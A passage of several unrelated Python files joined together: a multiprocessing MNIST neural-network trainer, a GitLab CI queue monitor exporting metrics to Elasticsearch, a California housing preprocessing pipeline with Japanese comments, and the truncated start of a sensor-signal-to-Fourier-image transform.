    sf = float(smaller_factor)
    smaller_factor = int(smaller_factor)

    inputs_smaller = []
    for inputs in inputs_targets[0][:size]:
        temp = inputs.transpose().tolist()[0]
        temp_2d = [temp[i*28:(i+1)*28] for i in xrange(0, 28)]

        temp_2d_small = [[0 for _ in xrange(0, 28 / smaller_factor)] for _ in xrange(0, 28 / smaller_factor)]

        for y in xrange(0, 28 / smaller_factor):
            for x in xrange(0, 28 / smaller_factor):
                for y1 in xrange(0, smaller_factor):
                    for x1 in xrange(0, smaller_factor):
                        temp_2d_small[y][x] += temp_2d[smaller_factor*y+y1][smaller_factor*x+x1]
                    # for
                # for
                temp_2d_small[y][x] /= sf**2
            # for
        # for

        temp_small = []
        for t in temp_2d_small:
            temp_small += t
        # for

        if len(inputs_smaller) == 0:
            for tmp in temp_2d:
                print(str(tmp))
            # for

            for tmp in temp_2d_small:
                print(str(tmp))
            # for

            # print(str(temp_2d_small))
        # if

        inputs_smaller.append(np.array([temp_small]).transpose())
    # for

    inputs_targets[0] = inputs_smaller

    # TODO: define a function, which shrink the picture

    for targets in selected_set[1][:size]:
        temp = [0.1 for x in xrange(0, 10)]
        temp[targets] = 0.9
        inputs_targets[1].append(np.array([temp]).transpose())
        inputs_targets[2].append(targets)
    # for

    print("some values numbers: "+str(selected_set[1][:20]))

    # Save the inputs_targets
    with gzip.GzipFile(inputs_targets_path, 'wb') as fo:
        cPickle.dump(inputs_targets, fo)
    # with

    return inputs_targets
# def save_inputs_targets

def save_new_network(network_path, inputs_targets, smaller_factor):
    # # print(str(train_set[0][0]))
    # width = int(round(math.sqrt(len(inputs_targets_train[0][0].transpose().tolist()[0]))))
    # height = width
    # # print("before:\nwidth = "+str(width)+"     height = "+str(height))
    # scale = 30
    # pictures_amount = 5

    # inputs_list = [inputs_targets_train[0][i].transpose().tolist()[0] for i in xrange(0, pictures_amount)]
    # values_list = [inputs_targets_train[2][i] for i in xrange(0, pictures_amount)]

    # for inp, val, index in zip(inputs_list, values_list, xrange(0, len(inputs_list))):
    #     show_picture(inp, val, index, width, height, scale)
    # # for

    print("Creating a new Network!")
    network = NeuralNetwork()
    # nl = [28*28, 28*28+28*14, 10]
    # bs = nn.get_random_biases_list(nl)
    # ws = nn.get_random_weight_list(nl)

    # network = [nn, nl, bs, ws]

    # Initialize the whole network
    #[28*28, 28*28+28*14, 10],
    layer_factor = 28 / smaller_factor
    network.init_complete_network([layer_factor**2, layer_factor**2+layer_factor**2 / 2, 10],
                                  inputs_targets[0],#inputs_smaller,
                                  inputs_targets[1])#targets)
    network.targets_values = inputs_targets[2]
    print("network.neuronal_list = "+str(network.neuronal_list))

    # Save the neural_network
    with gzip.GzipFile(network_path, 'wb') as fo:
        cPickle.dump(network, fo)
    # with

    return network
# def create_new_network

def load_pkl_file(file_path):
    # Load the neural_network
    print("Loading file "+file_path)

    with gzip.open(file_path, 'rb') as fi:
        obj = cPickle.load(fi)
    # with

    return obj
# def load_network_inputs_targets

# def load_network_inputs_targets(network_path, inputs_targets_path):
#     # Load the neural_network
#     print("Loading a created Network!")

#     with gzip.open(network_path, 'rb') as fi:
#         network = cPickle.load(fi)
#     # with

#     # Load the inputs_targets_train, if needed later in program
#     print("Loading a List of inputs and targets")

#     with gzip.open(inputs_targets_path, 'rb') as fi:
#         inputs_targets_train = cPickle.load(fi)
#     # with

#     return (network, inputs_targets_train)
# # def load_network_inputs_targets

def picture_list_to_matrix(img_1d_array, width, height, scale):
    w, h = width, height
    # scale = 20
    print("scale factor in picture list to matrix = "+str(scale))

    data = np.zeros((scale*h, scale*w, 3), dtype=np.uint8)

    # print("after:\nwidth = "+str(width)+"     height = "+str(height))

    img_2d_array = [list(img_1d_array[w*i:w*(i+1)]) for i in xrange(0, h)]
    # print("img_2d_array = "+str(img_2d_array))
    # print("img_array = "+str(img_array))

    # print("img_1d_array =\n"+str(img_1d_array))
    # print("img_2d_array =\n"+str(img_2d_array))

    # print("len y = "+str(len(img_2d_array))+"    len x = "+str(len(img_2d_array[0])))
    # print("img_2d_array =\n"+str(img_2d_array))
    for y in xrange(0, h):
        for x in xrange(0, w):
            # print("x = "+str(x)+"   y = "+str(y))
            color_value = int(float(img_2d_array[y][x]) * 255.)
            color = (color_value, color_value, color_value)
            for ys in xrange(0, scale):
                for xs in xrange(0, scale):
                    data[scale*y+ys, scale*x+xs] = color
                # for
            # for
        # for
    # for

    return data
# def pixels_list_to_2d_list

def show_picture(img_1d_array, value, index, width, height, scale):
    # w, h = 28, 28
    # w, h = 14, 14

    print("scale factor in show = "+str(scale))
    data = picture_list_to_matrix(img_1d_array, width, height, scale)
    img = Image.fromarray(data, "RGB")
    img.show(title="Number "+str(value))
    # img.save(picture_directory+"train_"+str(index)+"_num_"+str(list_pixels[2][index])+".png")

    print("The Digit of picture #"+str(index)+" is: "+str(value))
# def sace_pictures_in_directory

def save_pictures_in_directory(imgs_1d_array, values_1d_array, width, height, scale, picture_directory):
    w, h = 28, 28
    scale = 4

    data = np.zeros((scale*h, scale*w, 3), dtype=np.uint8)
    # rgb_white = (255, 255, 255)
    # rgb_black = (0, 0, 0)
    # print("type of 0 element: "+str(type(inputs_targets_train[0])))
    for index in xrange(0, len(imgs_1d_array[0])):
        data = picture_list_to_matrix(imgs_1d_array[index], width, height, scale)
        img = Image.fromarray(data, "RGB")

        img.save(picture_directory+"train_"+str(index)+"_num_"+str(values_1d_array[index])+".png")

        print("The Digit of picture #"+str(index)+" is: "+str(values_1d_array[index]))
    # for
# def sace_pictures_in_directory

def main_digits_learning(network_path_input, inputs_targets_path, network_path_output):
    # Get amount of CPUs
    print("CPUs count = "+str(mp.cpu_count()))

    # Then load the initialized or learned network and the inputs and targets, if needed
    network = load_pkl_file(network_path_input)
    inputs_targets = load_pkl_file(inputs_targets_path)

    inputs = inputs_targets[0]
    targets = inputs_targets[1]
    values = inputs_targets[2]

    print("nl = "+str(network.neuronal_list))

    width = int(round(math.sqrt(len(inputs_targets[0][0].transpose().tolist()[0]))))
    height = width
    scale = 30
    pictures_amount = 5

    print("width = "+str(width))

    # Test with queue()!!!
    # Test multiprocessing
    result_queue = Queue(100)
    is_finished = Manager().Queue()
    output_queue = Queue()

    mutex = Lock()
    mutex_print = Lock()

    # inputs_targets[0] = inputs_targets[0][1000*1:]
    # inputs_targets[1] = inputs_targets[1][1000*1:]
    cpus_used = mp.cpu_count()
    amount = 10
    max_jobs = 100#len(inputs_targets[0])

    index = cpus_used if cpus_used * amount <= max_jobs else max_jobs / amount
    args_list = [(result_queue,
                  is_finished,
                  output_queue,
                  mutex,
                  mutex_print,
                  i,
                  network,
                  inputs[i*amount:(i+1)*amount],
                  targets[i*amount:(i+1)*amount],
                  0.05) for i in
                  xrange(0, index)]

    print("args_list len is "+str(len(args_list)))

    mutex.acquire()
    print("before beginning, mutex acquired")
    mutex.release()
    print("after beginning, mutex released")

    jobs = [Process(target=network.get_delta_biases_weights_multiprocess, args=args) for args in args_list]
    # list_of_finished = [0 for i in xrange(0, cpus_used)]
    # added 20151028 jobs_not_finished
    jobs_not_finished = [1 for x in args_list]
    # mutex_print.acquire()
    print("Start calculations!")
    # mutex_print.release()

    for job in jobs: job.start()

    # mutex_print.acquire()
    print("Wait for joining!")
    # mutex_print.release()
    # bsdt = []
    # wsdt = []
    error_total = 0

    error_list = []

    # network_orig = deepcopy(network)
    nn = [network.neuronal_list, network.biases, network.weights]
    nn_orig = deepcopy(nn)
    # bsdt, wsdt = network.get_zero_biases_weights()
    # print("biases before:\n"+str(nn[1]))

    while True:
        time.sleep(0.1)

        if not is_finished.empty():
            print("getting the result!")
            proc_num = is_finished.get()
        else:
            proc_num = None
        # if

        while not output_queue.empty():
            print(output_queue.get()),
        # while

        if not proc_num is None:
            # mutex_print.acquire()
            print("merge deltas from proc #"+str(proc_num)+" with network")
            # mutex_print.release()

            mutex.acquire()
            bsd, wsd, error_list_temp, error = result_queue.get()

            while not output_queue.empty():
                print(output_queue.get()),
            # while

            print("")
            mutex.release()

            nn = [network.neuronal_list, network.biases, network.weights]
            nn = network.get_improved_network(nn, [bsd], [wsd], copy=True)
            network.neuronal_list = nn[0]
            network.biases = nn[1]
            network.weights = nn[2]
            error_list += error_list_temp
            error_total += error

            jobs_not_finished[proc_num] = 0

            if (index + 1) * amount <= max_jobs:
                args = (result_queue,
                        is_finished,
                        output_queue,
                        mutex,
                        mutex_print,
                        proc_num,
                        network,
                        inputs[index*amount:(index+1)*amount],
                        targets[index*amount:(index+1)*amount],
                        0.05)
                jobs[proc_num] = Process(target=network.get_delta_biases_weights_multiprocess, args=args)
                jobs_not_finished[proc_num] = 1
                jobs[proc_num].start()
                index += 1

                mutex_print.acquire()
                print("new Index: "+str(index)+"   learned images = "+str(index*amount))
                mutex_print.release()
            else:
                if jobs_not_finished.count(1) == 0:
                    break
                # if
            # if
        else:
            pass
            # print("main proc is waiting...")
        # if
    # while

    print("Biases before improving:\n"+str(nn_orig[1]))
    # nn.get_improved_network(network, bsdt, wsdt)
    print("Biases after improving:\n"+str(nn[1]))

    print("error total: "+str(error_total))
    network.show_error_plot(error_list)
    print("error_list =\n"+str(error_list))

    # # print("testing functions result:\n"+str(results))

    print("Save the new network")

    with gzip.GzipFile(network_path_output, 'wb') as fo:
        cPickle.dump(network, fo)
    # with

    print("Exit with the program!")

    return network
# def main_learning

def main_digits_testing(network_path_input, inputs_targets_path, output_statistics_path):
    network = load_pkl_file(network_path_input)
    inputs_targets = load_pkl_file(inputs_targets_path)

    size = 100
    inputs_targets = [inputs_targets[0][:size], inputs_targets[1][:size], inputs_targets[2][:size]]

    inputs = inputs_targets[0]
    targets = inputs_targets[1]
    values = inputs_targets[2]

    print("nl = "+str(network.neuronal_list))

    # Test multiprocessing
    # Test with queue()!!!
    result_queue = Queue()
    is_finished = Manager().Queue()
    mutex = Lock()

    max_jobs = len(inputs_targets[0])
    cpus_used = mp.cpu_count()
    amount = 100

    index = cpus_used if cpus_used * amount <= max_jobs else max_jobs / amount
    args_list = [(result_queue,
                  is_finished,
                  mutex,
                  i,
                  network,
                  inputs[i*amount:(i+1)*amount],
                  values[i*amount:(i+1)*amount], i*amount) for i in
                  xrange(0, index)]

    jobs = [mp.Process(target = network.get_approximation_guess, args=args) for args in args_list]
    # list_of_finished = [0 for i in xrange(0, cpus_used)]
    # added 20151028 jobs_not_finished
    jobs_not_finished = [1 for x in args_list]
    # for i in xrange(0, cpus_used):
    #     is_finished.put(i)
    # # for
    print("Start calculations!")
    for job in jobs: job.start()
    print("Wait for joining!")
    # error_total = 0
    result_digits = []
    index = cpus_used
    while True:
        time.sleep(1)

        proc_num = is_finished.get()

        if not proc_num is None:
            print("merge evaluated numbers from proc #"+str(proc_num)+" with network")
            result = result_queue.get()

            result_digits += result
            jobs_not_finished[proc_num] = 0

            if (index + 1) * amount <= max_jobs:#len(inputs_targets_valid[0]):
                args = (result_queue, is_finished, mutex, proc_num, network, inputs[index*amount:(index+1)*amount],
                  values[index*amount:(index+1)*amount], index*amount)
                jobs[proc_num] = mp.Process(target = network.get_approximation_guess, args=args)
                jobs_not_finished[proc_num] = 1
                jobs[proc_num].start()
                index += 1
                print("new Index: "+str(index)+"   evaluated images = "+str(index*amount))
            else:
                if jobs_not_finished.count(1) == 0:
                    break
                # if
            # if
        else:
            print("main proc is waiting...")
        # if
    # while

    pos = []
    neg = []

    print("result[0]:"+str(result_digits[0]))

    for result in result_digits:
        if result[1] == result[2][0][0]:
            pos.append([result[0], result[1]])
        else:
            neg.append([result[0], result[1]])

    if os.path.isfile(output_statistics_path) is False:
        with open(output_statistics_path, "w") as fout:
            fout.write("Date          "+
                       "Time        "+
                       "Pos Samples   "+
                       "Neg Samples\n")

    with open(output_statistics_path, "a") as fout:
        fout.write(str(time.strftime("%Y.%m.%d    %H:%M:%S    "))+
                   str("%11d" % len(pos))+
                   str("%14d" % len(neg))+"\n")

    print("amount of positives:\n"+str(len(pos)))
    print("amount of negatives:\n"+str(len(neg)))

    print("Exit with the program!")
# def main_digits_testing

def main_digits_learning_testing_iterations(network_path_input, inputs_targets_1_path, inputs_targets_2_path, network_path_output, output_statistics_path, iterations=1):
    # Get amount of CPUs
    print("CPUs count = "+str(mp.cpu_count()))

    # Then load the initialized or learned network and the inputs and targets, if needed
    network = load_pkl_file(network_path_input)
    inputs_targets_1 = load_pkl_file(inputs_targets_1_path)
    inputs_targets_2 = load_pkl_file(inputs_targets_2_path)

    # size = 50000
    # inputs_targets_1 = [inputs_targets_1[0][:size], inputs_targets_1[1][:size], inputs_targets_1[2][:size]]
    # inputs_targets_2 = [inputs_targets_2[0][:size], inputs_targets_2[1][:size], inputs_targets_2[2][:size]]

    inputs_targets_1 = [inputs_targets_1[0], inputs_targets_1[1], inputs_targets_1[2]]
    inputs_targets_2 = [inputs_targets_2[0], inputs_targets_2[1], inputs_targets_2[2]]

    inputs_1 = inputs_targets_1[0]
    targets_1 = inputs_targets_1[1]
    values_1 = inputs_targets_1[2]

    inputs_2 = inputs_targets_2[0]
    targets_2 = inputs_targets_2[1]
    values_2 = inputs_targets_2[2]

    print("nl = "+str(network.neuronal_list))

        # width = int(round(math.sqrt(len(inputs_targets[0][0].transpose().tolist()[0]))))
        # height = width
        # scale = 30
        # pictures_amount = 5

        # print("width = "+str(width))

        # Test with queue()!!!
        # Test multiprocessing
    for _ in xrange(0, iterations):
        result_queue = Queue(100)
        is_finished = Manager().Queue()
        output_queue = Queue()

        mutex = Lock()
        mutex_print = Lock()

        # inputs_targets[0] = inputs_targets[0][1000*1:]
        # inputs_targets[1] = inputs_targets[1][1000*1:]
        cpus_used = mp.cpu_count() * 2
        amount = 100
        max_jobs = len(inputs_targets_1[0])

        index = cpus_used if cpus_used * amount <= max_jobs else max_jobs / amount
        args_list = [(result_queue,
                      is_finished,
                      output_queue,
                      mutex,
                      mutex_print,
                      i,
                      deepcopy(network),
                      inputs_1[i*amount:(i+1)*amount],
                      targets_1[i*amount:(i+1)*amount],
                      0.05) for i in
                      xrange(0, index)]

        print("args_list len is "+str(len(args_list)))

        mutex.acquire()
        print("before beginning, mutex acquired")
        mutex.release()
        print("after beginning, mutex released")

        jobs = [Process(target=network.get_delta_biases_weights_multiprocess, args=args) for args in args_list]
        # list_of_finished = [0 for i in xrange(0, cpus_used)]
        # added 20151028 jobs_not_finished
        jobs_not_finished = [1 for x in args_list]
        # mutex_print.acquire()
        print("Start calculations!")
        # mutex_print.release()

        for job in jobs: job.start()

        # mutex_print.acquire()
        print("Wait for joining!")
        # mutex_print.release()
        # bsdt = []
        # wsdt = []
        error_total = 0

        error_list = []

        # network_orig = deepcopy(network)
        nn = [network.neuronal_list, network.biases, network.weights]
        nn_orig = deepcopy(nn)
        # bsdt, wsdt = network.get_zero_biases_weights()
        # print("biases before:\n"+str(nn[1]))

        while True:
            time.sleep(0.05)

            if not is_finished.empty():
                print("getting the result!")
                proc_num = is_finished.get()
            else:
                proc_num = None
            # if

            while not output_queue.empty():
                print(output_queue.get()),
            # while

            if not proc_num is None:
                # mutex_print.acquire()
                print("merge deltas from proc #"+str(proc_num)+" with network")
                # mutex_print.release()

                mutex.acquire()
                bsd, wsd, error_list_temp, error = result_queue.get()

                while not output_queue.empty():
                    print(output_queue.get()),
                # while

                print("")
                mutex.release()

                nn = [network.neuronal_list, network.biases, network.weights]
                nn = network.get_improved_network(nn, [bsd], [wsd], copy=True)
                network.neuronal_list = nn[0]
                network.biases = nn[1]
                network.weights = nn[2]
                error_list += error_list_temp
                error_total += error

                jobs_not_finished[proc_num] = 0

                if (index + 1) * amount <= max_jobs:
                    args = (result_queue,
                            is_finished,
                            output_queue,
                            mutex,
                            mutex_print,
                            proc_num,
                            network,
                            inputs_1[index*amount:(index+1)*amount],
                            targets_1[index*amount:(index+1)*amount],
                            0.05)
                    jobs[proc_num] = Process(target=network.get_delta_biases_weights_multiprocess, args=args)
                    jobs_not_finished[proc_num] = 1
                    jobs[proc_num].start()
                    index += 1

                    mutex_print.acquire()
                    print("new Index: "+str(index)+"   learned images = "+str(index*amount))
                    mutex_print.release()
                else:
                    if jobs_not_finished.count(1) == 0:
                        break
                    # if
                # if
            else:
                pass
                # print("main proc is waiting...")
            # if
        # while

        print("Biases before improving:\n"+str(nn_orig[1]))
        # nn.get_improved_network(network, bsdt, wsdt)
        print("Biases after improving:\n"+str(nn[1]))

        print("error total: "+str(error_total))
        # network.show_error_plot(error_list)
        # print("error_list =\n"+str(error_list))

        # # print("testing functions result:\n"+str(results))

        print("Finished learning!")

        # size = 100
        # inputs_targets = [inputs_targets_1[0][:size], inputs_targets_1[1][:size], inputs_targets_1[2][:size]]

        # inputs = inputs_targets[0]
        # targets = inputs_targets[1]
        # values = inputs_targets[2]

        print("nl = "+str(network.neuronal_list))

        # Test multiprocessing
        # Test with queue()!!!
        result_queue = Queue()
        is_finished = Manager().Queue()
        mutex = Lock()

        max_jobs = len(inputs_targets_2[0])
        cpus_used = mp.cpu_count() * 2
        amount = 100

        index = cpus_used if cpus_used * amount <= max_jobs else max_jobs / amount
        args_list = [(result_queue,
                      is_finished,
                      mutex,
                      i,
                      network,
                      inputs_2[i*amount:(i+1)*amount],
                      values_2[i*amount:(i+1)*amount], i*amount) for i in
                      xrange(0, index)]

        jobs = [mp.Process(target = network.get_approximation_guess, args=args) for args in args_list]
        # list_of_finished = [0 for i in xrange(0, cpus_used)]
        # added 20151028 jobs_not_finished
        jobs_not_finished = [1 for x in args_list]
        # for i in xrange(0, cpus_used):
        #     is_finished.put(i)
        # # for
        print("Start calculations!")
        for job in jobs: job.start()
        print("Wait for joining!")
        # error_total = 0
        result_digits = []
        index = cpus_used
        while True:
            time.sleep(0.05)

            proc_num = is_finished.get()

            if not proc_num is None:
                print("merge evaluated numbers from proc #"+str(proc_num)+" with network")
                result = result_queue.get()

                result_digits += result
                jobs_not_finished[proc_num] = 0

                if (index + 1) * amount <= max_jobs:#len(inputs_targets_valid[0]):
                    args = (result_queue, is_finished, mutex, proc_num, network, inputs_2[index*amount:(index+1)*amount],
                      values_2[index*amount:(index+1)*amount], index*amount)
                    jobs[proc_num] = mp.Process(target = network.get_approximation_guess, args=args)
                    jobs_not_finished[proc_num] = 1
                    jobs[proc_num].start()
                    index += 1
                    print("new Index: "+str(index)+"   evaluated images = "+str(index*amount))
                else:
                    if jobs_not_finished.count(1) == 0:
                        break
                    # if
                # if
            else:
                print("main proc is waiting...")
            # if
        # while

        pos = []
        neg = []

        print("result[0]:"+str(result_digits[0]))

        if os.path.isfile("lnn_14x14_results_examples.txt") is False:
            with open("lnn_14x14_results_examples.txt", "w") as fout:
                fout.write("")
            # with
        # if

        with open("lnn_14x14_results_examples.txt", "a") as fout:
            fout.write(str(time.strftime("%Y.%m.%d, %H:%M:%S;\n")))
            for rd in result_digits[:100]:
                fout.write(str(rd)+"\n")
            # for
            fout.write("\n")
        # with

        for result in result_digits:
            if result[1] == result[2][0][0]:
                pos.append([result[0], result[1]])
            else:
                neg.append([result[0], result[1]])

        if os.path.isfile(output_statistics_path) is False:
            with open(output_statistics_path, "w") as fout:
                fout.write("Date          "+
                           "Time        "+
                           "Pos Samples   "+
                           "Neg Samples\n")

        with open(output_statistics_path, "a") as fout:
            fout.write(str(time.strftime("%Y.%m.%d    %H:%M:%S    "))+
                       str("%11d" % len(pos))+
                       str("%14d" % len(neg))+"\n")

        print("amount of positives:\n"+str(len(pos)))
        print("amount of negatives:\n"+str(len(neg)))

        print("Finished testing network!")
    # for

    print("Save the new network")

    with gzip.GzipFile(network_path_output, 'wb') as fo:
        cPickle.dump(network, fo)
    # with

    return network
# def main_digits_testing

if __name__ == '__main__' or __name__ == "DigitRecognition":
    pass
# if


#!/usr/bin/env python3
"""
Run the GitLabQueueMonitor.

It queries the GitLab API for the number of global pending and running jobs. As well as the runner
specific running jobs.

Example usage:

    # Run once in dry-run mode.
    ./main.py --dry-run

    # Run once and exports metrics.
    ./main.py --es-index="$USER-gitlab-queue"

    # Run in server mode.
    ./main.py --server --es-index="$USER-gitlab-queue"

"""
import argparse
import logging
import os
import sys
import time
from datetime import datetime

import beeline
from elasticsearch import Elasticsearch
from gitlab import Gitlab

DFINITY_PROJECT = 22_487_979

class GitLabQueueMonitor:
    """GitLabQueueMonitor polls the GitLab API and exports queueing related metrics."""

    def __init__(self, es_index_prefix, dry_run):
        """
        Initialize the GitLabQueueMonitor.

        Args:
        ----
            es_index_prefix: The prefix to use for the ElasticSearch index.
            dry_run: Just log, but do not export metrics to ElasticSearch.

        """
        if "GITLAB_TOKEN" not in os.environ:
            raise ValueError("could not find GITLAB_TOKEN in env vars")

        self.es = Elasticsearch(["https://elasticsearch.testnet.dfinity.network:443"])
        self.dry_run = dry_run

        self.gl = Gitlab("https://gitlab.com", private_token=os.getenv("GITLAB_TOKEN"))
        self.project = self.gl.projects.get(DFINITY_PROJECT)
        self.es_index_prefix = es_index_prefix

    def _count_jobs_by_scope(self, scope: str):
        data = {}
        jobs = self.project.jobs.list(scope=scope, all=True)

        for job in jobs:
            with beeline.tracer(name="process-jobs"):
                job_context_dict = {f"job.{key}": val for key, val in job.attributes.items()}
                beeline.add_context(job_context_dict)
            data[job.name] = data.get(job.name, 0) + 1

        return (len(jobs), data)

    def _count_runner_jobs_by_status(self, runner, status: str):
        jobs = runner.jobs.list(status=status, all=True)

        return len(jobs)

    def _export_data_to_elastic_search(self, index_infix, data):
        timestamp = datetime.utcnow()

        data["timestamp"] = timestamp

        logging.info(data)

        if not self.dry_run:
            self.es.index(
                f"{self.es_index_prefix}-{index_infix}-{timestamp.year}",
                id=timestamp,
                body=data,
            )

    @beeline.traced(name="queue-monitor-run")
    def process(self):
        """Process queries the GitLab API and exports metrics to ElasticSearch."""
        pending = self._count_jobs_by_scope("pending")
        running = self._count_jobs_by_scope("running")

        data = {}
        data["pending_queue_data"] = {"job_status": "pending", "count": pending[0]}
        self._export_data_to_elastic_search("global", data["pending_queue_data"])

        data["running_queue_data"] = {"job_status": "running", "count": running[0]}
        self._export_data_to_elastic_search("global", data["running_queue_data"])

        data["pending_job_data"] = {}
        data["running_job_data"] = {}
        for key, value in pending[1].items():
            data["pending_job_data"][key] = {
                "status": "pending",
                "job_name": key,
                "count": value,
            }
            self._export_data_to_elastic_search("job-name", data["pending_job_data"][key])

        for key, value in running[1].items():
            data["running_job_data"][key] = {
                "status": "running",
                "job_name": key,
                "count": value,
            }
            self._export_data_to_elastic_search("job-name", data["running_job_data"][key])

        data["runner_data"] = {}

        runners = self.gl.runners.list(all=True)
        for runner in runners:
            with beeline.tracer(name="process-runner"):
                runner_details = self.gl.runners.get(runner.id)
                runner_context_dict = {f"runner.{key}": val for key, val in runner_details.attributes.items()}
                beeline.add_context(runner_context_dict)

                running_jobs = self._count_runner_jobs_by_status(runner, "running")
                logging.info(f"{runner.description}: {running_jobs}")

                data["runner_data"][runner.description] = {
                    "description": runner.description,
                    "running_jobs": running_jobs,
                }
                self._export_data_to_elastic_search("runners", data["runner_data"][runner.description])

        beeline.add_context_field("error", False)
        return data

def main():
    parser = argparse.ArgumentParser()

    parser.add_argument(
        "--server",
        action="store_true",
        help="In server mode loop forever. Otherwise run once",
    )

    parser.add_argument(
        "--es-index",
        type=str,
        help="ElasticSearch index prefix to export to ",
    )
    parser.add_argument(
        "--dry-run",
        action="store_true",
        help="In dry run mode, only log but do not export metrics to ElasticSearch",
    )
    parser.add_argument(
        "--export-period",
        default="60",
        type=int,
        help="Time between export cycles",
    )

    logging.basicConfig(level=logging.INFO)

    args = parser.parse_args()

    honeycomb_token = os.getenv("HONEYCOMB_API_TOKEN")
    if not honeycomb_token:
        sys.exit("No Honeycomb token specified in HONEYCOMB_API_TOKEN env var.")

    beeline.init(
        # Get this via https://ui.honeycomb.io/account after signing up for Honeycomb
        writekey=honeycomb_token,
        # The name of your app is a good choice to start with
        dataset="gitlab-ci-daemons",
        service_name="queue-monitor",
        debug=False,  # if True, data doesn't get sent to Honeycomb
    )

    queue_monitor = GitLabQueueMonitor(args.es_index, args.dry_run)

    if not args.server:
        queue_monitor.process()
        beeline.close()
        return

    last_export_time = time.time()
    while True:
        try:
            next_export_time = last_export_time + args.export_period
            next_export_delay = max(next_export_time - time.time(), 0)

            logging.info(f"next export in {next_export_delay} seconds")
            time.sleep(next_export_delay)
            last_export_time = time.time()

            queue_monitor.process()
        except Exception as e:
            logging.error(e)

    beeline.close()

if __name__ == "__main__":
    main()


import numpy as np
import os
import tarfile
from six.moves import urllib
import pandas as pd
from matplotlib import pyplot as plt
import pandas as pd
from sklearn.model_selection import train_test_split, StratifiedShuffleSplit
from sklearn.pipeline import Pipeline
from sklearn.preprocessing import Imputer
from sklearn.preprocessing import StandardScaler
from sklearn.base import BaseEstimator, TransformerMixin
from sklearn.pipeline import FeatureUnion

# 定数の定義
DOWNLAD_ROOT = 'https://raw.githubusercontent.com/ageron/handson-ml/master/'
HOUSING_PATH = os.path.join('datasets', 'housing')
HOUSING_NAME = 'housing.tgz'
HOUSING_URL  = DOWNLAD_ROOT + 'datasets/housing/housing.tgz'

def fetch_housing_data(housing_url=HOUSING_URL, housing_path=HOUSING_PATH):
    if not os.path.isdir(housing_path):
        os.makedirs(housing_path)
    tgz_path = os.path.join(housing_path, 'housing.tgz')
    urllib.request.urlretrieve(housing_url, tgz_path)
    housing_tgz = tarfile.open(tgz_path)
    housing_tgz.extractall(path=housing_path)
    housing_tgz.close()

def downloadAfterCheck(housing_url=HOUSING_URL, housing_path=HOUSING_PATH, housing_name=HOUSING_NAME):
    if os.path.isfile(os.path.join(housing_path, housing_name)):
        None
    else:
        fetch_housing_data(housing_url, housing_path)

def load_housing_data(path):
    return pd.read_csv(path)

class DataFrameSelector(BaseEstimator, TransformerMixin):
    def __init__(self, num_columns):
        self.num_columns = num_columns
    def fit(self, X, y=None):
        return self
    def transform(self, X, y=None):
        return X[self.num_columns].values

class OneHotEncoder(BaseEstimator, TransformerMixin):
    def __init__(self):
        None
    def fit(self, X, y=None):
        return self
    def transform(self, X, y=None):
        # 転置行列にする
        T = X.T
        # 返却用の配列を定義
        X_trs = []
        # 文字列属性分、ワンホットエンコードを実施
        for col in np.arange(T.shape[0]):
            # 属性に含まれる値の分、列を追加＆バイナリ化
            for val in set(T[col]):
                tmp = T[col].copy()
                tmp[tmp==val] = 1
                tmp[tmp!=1] = 0
                X_trs.append(tmp)
        # 転置し直す
        X_trs = np.array(X_trs)
        return X_trs.T

class DataFactory():
    def __init__(self):
        self.data          = None
        self.data_train    = None
        self.data_test     = None
        self.data_prepared = None
        self.data_label    = None

    def split_dataset(self, data):
        # 層化分割用の属性を追加
        data['income_cat'] = np.ceil(data['median_income'] / 1.5)
        data['income_cat'].where(data['income_cat'] < 5, 5.0, inplace=True)

        # 層化分割
        split = StratifiedShuffleSplit(n_splits=1, test_size=0.2, random_state=42)
        for train_index, test_index in split.split(data, data['income_cat']):
            self.data_train = data.loc[train_index]
            self.data_test  = data.loc[test_index]
        self.data       = data

        # 層化分割用の属性を削除
        for set_ in (self.data_train, self.data_test):
            set_.drop('income_cat', axis=1, inplace=True)

        # 壊れないようにコピーを渡す
        return self.data_train.copy(), self.data_test.copy()

    def split_label(self, data, label_name):
        data_label = data[label_name].copy()
        data_other = data.drop(label_name, axis=1)

        return data_label, data_other

    def getPreparedDataSet(self):
        if self.data_prepared is None:
            # データのダウンロード
            downloadAfterCheck()

            # データの読込
            housing = load_housing_data('datasets/housing/housing.csv')

            df = DataFactory()
            # 訓練データとテストデータの分割
            data_train, data_test = df.split_dataset(housing)
            # ラベルとデータの分割
            data_label, data_train = df.split_label(data_train, 'median_house_value')

            # 数値属性について実施するパイプラインの定義
            str_columns = ['ocean_proximity']
            num_columns = list(data_train)
            for str_column in str_columns:
                num_columns.remove(str_column)

            pipeline_num = Pipeline([
                ('selector'  , DataFrameSelector(num_columns)),  # 数値属性だけ取り出す
                ('imputer'   , Imputer(strategy='median')),      # 欠損値を中央値で補う
                ('std_scalar', StandardScaler()),                # 標準化する
            ])

            pipeline_str = Pipeline([
                ('selector'   , DataFrameSelector(str_columns)), # 文字列属性だけ取り出す
                ('str_encoder', OneHotEncoder()),                # ワンホットエンコード
            ])

            # ２つのパイプラインで変換したデータを結合させるパイプライン
            pipeline_main = FeatureUnion(transformer_list=[
                ('pipeline_num', pipeline_num),
                ('pipeline_str', pipeline_str),
            ])

            #  パイプラプラインインを実行する
            self.data_prepared = pipeline_main.fit_transform(data_train)

            self.data_label = data_label

        else:
            None
        return self.data_prepared.copy(), self.data_label.copy()


import numpy as np
from scipy.interpolate import interp1d

class Si2Ai:
    """
    This class transforms a 'Raw signal matrix' into 'Signal Image' and
    then do 2-D Discrete Fourier Transform (DFT)on it.

    Refer to the paper
    'Human Activity Recognition Using Wearable Sensors by Deep Convolutional Neural Networks'
    for more Details

    Raw signal matrix :   a 2D array  which stores permutated raw signals with a shape of
                        Reading type Num(9 for UCI-HAR data set)   * window_size (50Hz mul 2.56s=128)

    Signal Image:         a (Nsis-1) * windows_size matrix

    DFT Image:            has same shape of Signal Image mentioned above

    """

    # TODO: we can build the concatenation rule according to the number of sensor readings so that there is no need
    # TODO: to generate the rule for every Raw signal matrix by invoking the "Raw2Sig" function
    def __init__(self, magnitude=True):
        self.magnitude = magnitude

    def __call__(self, sample):
        # 9*128  # scalr
        reading, label = sample["input"], sample["label"]
        if self.magnitude:
            dft = (np.absolute(np.fft.fft2(Raw2Sig(reading)))).astype(np.float32)
        else:
            dft = (np.fft.fft2(Raw2Sig(reading))).real.astype(np.float32)
        return {"input": dft[np.newaxis, :], "label": label}

def Raw2Sig(Raw):
    Ns = len(Raw)
    i = 1
    j = i + 1
    SI = Raw[i - 1].reshape(1, -1)
    SIS = '%d' % i
    Nsis = 1

